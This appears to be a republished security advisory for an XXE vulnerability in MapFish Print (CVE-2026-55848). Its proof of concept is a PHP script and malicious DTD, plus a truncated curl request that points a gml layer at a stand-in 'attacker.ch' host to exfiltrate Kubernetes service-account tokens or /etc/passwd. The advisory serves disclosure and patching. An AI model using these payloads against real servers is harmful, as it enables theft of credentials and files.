CVE-2026-55848
### Summary XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs. https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507 ### Details To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer. The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path. ### PoC Host this php file somewhere as xxe.php: ``` <?php $p=$_GET['p']; $d=dirname($_SERVER['SCRIPT_NAME']); $u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd"; header('Content-Type: application/xml'); echo "<?xml version=\"1.0\"?> <!DOCTYPE x [ <!ENTITY % payload SYSTEM \"file://$p\"> <!ENTITY % dtd SYSTEM \"$u\"> %dtd; ]> <wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\"> <!-- ".str_repeat('x',200)." --> <gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy> </wfs:FeatureCollection>"; ``` and beneath host this "evil.dtd" `<!ENTITY % exfil "<!ENTITY % error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;` Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files) `curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \ -H 'Content-Type: application/json' \ -d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/
Properties
- ghsa_id
- GHSA-5v29-34h8-v68r
- severity
- high
- summary
- MapFish Print has XXE that allows reading arbitrary files of certain types
- cvss_score
- 8.6
- cve_id
- CVE-2026-55848
- cvss_vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- is_ghsa_only
- false
- ghsa_published
- 2026-08-28T22:33:35Z
- source_url
- https://github.com/advisories/GHSA-5v29-34h8-v68r
- ghsa_updated
- 2026-08-28T22:33:36Z
Related Entities (8)
AFFECTS (3)
VULNERABLE_TO (3)
HAS_WEAKNESS (1)
REPORTED_BY (1)
Explore deeper with Ninja Signal's threat intelligence graph